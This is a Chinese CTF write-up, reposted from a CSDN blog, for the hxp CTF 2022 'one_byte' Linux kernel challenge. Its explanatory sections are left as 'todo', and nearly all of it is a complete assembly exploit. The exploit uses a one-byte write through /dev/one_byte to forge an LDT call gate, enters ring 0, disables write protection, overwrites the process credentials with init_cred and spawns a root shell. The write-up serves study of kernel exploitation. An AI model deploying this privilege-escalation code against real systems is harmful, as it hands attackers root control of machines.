【一字节任意地址写构造调用门提权】hxpCTF2022-one_byte

发布时间:2023年12月25日

前言

通过这题复习了很多知识,包括描述符,调用门特权级转移,长调用,MSR寄存器,gs、cs段选择子,eflags/rflags等,所以总体来说收获很大。

但笔者只记录关键点,很多基础知识需要自己去查阅学习。

参考:hxp | hxp CTF 2022: one_byte writeup

题目分析

todo

利用思路

todo

exp 如下:

// gcc -no-pie -nostdlib -Wl,--build-id=none -s exp.S -o exp
#include <sys/syscall.h>

.macro var name:req
        .pushsection .data
        .balign 8
        .local \name
        \name:
.endm

.macro endvar name:req
        .local end_\name
        end_\name:
        .eqv sizeof_\name, end_\name - \name
        .popsection
.endm

.macro asciz name:req, data:vararg
        var \name
                .asciz \data
        endvar \name
.endm

.macro far_ptr name:req, sel:req, off:req
        var \name
                .int \off
                .short \sel
        endvar \name
.endm

.macro exec_syscall sys_num:req
        movq \sys_num, %rax
        syscall
.endm

.macro fn name:req
        .text
        .code64
        .global \name
        \name:
.endm

#define ENTRY_SYSCALL_OFFSET 0xa00010
#define LDT_BASE 0xffff880000000000
#define LDT_OFFSET 0x10000
#define CURRENT_OFFSET 0x1fbc0
#define INIT_TASK_OFFSET 0x1613940
#define INIT_CRED_OFFSET 0x1654480
#define REAL_CRED_OFFSET 0xa78
#define CRED_OFFSET 0xa80
#define EXEC_LPE_CODE_OFFSET 0xb00000
#define MSG_LSTAR 0xC0000082
#define ENTRY_NUMBER 2
#define TARGET_SEL ((ENTRY_NUMBER << 3) | 0b111)

fn call_gate_handler

        cli

        // leak kbase
        xorq %rax, %rax
        xorq %rdx, %rdx
        movq $MSG_LSTAR, %rcx
        rdmsr
        shlq $0x20, %rdx
        orq %rax, %rdx
        sub $ENTRY_SYSCALL_OFFSET, %rdx
        movq %rdx, %r15

        // disable CR0.WP
        movq %cr0, %rax
        andq $0xfffffffffffeffff, %rax
        movq %rax, %cr0

        // copy the LPE_CODE to kernel text space
        movq %r15, %rdi
        addq $EXEC_LPE_CODE_OFFSET, %rdi
        movq %rdi, %r14
        leaq LPE_CODE(%rip), %rsi
        movq $sizeof_LPE_CODE, %rcx
        rep movsb

        jmp *%r14


var LPE_CODE
        swapgs

        // switch PAGE TABLE
        movq %cr3, %rax
        subq $0x1000, %rax
        movq %rax, %cr3

        // get init_cred
        movq %r15, %rdx
        addq $INIT_CRED_OFFSET, %rdx
        addl $2, (%rdx)

        // switch current.cred and current.real_cred
        movq %gs:CURRENT_OFFSET, %rax
        movq %rdx, REAL_CRED_OFFSET(%rax)
        movq %rdx, CRED_OFFSET(%rax)

        // switch PAGE TABLE
        movq %cr3, %rax
        addq $0x1000, %rax
        movq %rax, %cr3

        // swapgs
        // iretq
        // rip
        // cs
        // flags
        // rsp
        // ss
        popq %r8
        popq %r9
        pushfq
        orq $(1 << 9), (%rsp)
        pushq %r9
        pushq %r8
        swapgs
        iretq

endvar LPE_CODE

asciz dev_file, "/dev/one_byte"
asciz shell_path, "/bin/sh"

var shell_argv
        .quad shell_path
        .quad 0
endvar shell_argv

var user_desc
        .int ENTRY_NUMBER
        .int 0x10       // base  ==> KERNEL_CS = 0x10
        .int 0x1000     // limit ==> offset = 0x401000 --> 0x1000 -|
        .int 0x1        // flags ==> offset = 0x401000 --> 0x40   -|
endvar user_desc

var temp_desc
        .int ENTRY_NUMBER + 2
        .int 0x10
        .int 0x1000
        .int 0x1
endvar temp_desc

var arb_write_msg
        .quad LDT_BASE + LDT_OFFSET + (ENTRY_NUMBER << 3) + 5
        .byte 0b11101100
endvar arb_write_msg

.macro modify_ldt desc:req
        movq $0x11, %rdi
        leaq \desc(%rip), %rsi
        movq $sizeof_\desc, %rdx
        exec_syscall $SYS_modify_ldt
.endm

fn _start
        // open dev file
        xorq %rdx, %rdx
        movq $1, %rsi
        leaq dev_file(%rip), %rdi
        exec_syscall $SYS_open
        movq %rax, %r15

        // stac
        pushfq
        orq $(1 << 18), (%rsp)
        popfq

        // create ldt
        modify_ldt user_desc
        modify_ldt temp_desc

        // write type to construct call gate
        movq %r15, %rdi
        leaq arb_write_msg(%rip), %rsi
        movq $sizeof_arb_write_msg, %rdx
        exec_syscall $SYS_write

        // trigger call gate to switch CPL
        far_ptr call_gate, TARGET_SEL, 0xDEADBEEF
        lcall *(call_gate)

        // get root shell
        leaq shell_path(%rip), %rdi
        leaq shell_argv(%rip), %rsi
        xorq %rdx, %rdx
        exec_syscall $SYS_execve

效果如下:

?

文章来源:https://blog.csdn.net/qq_61670993/article/details/135193717
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。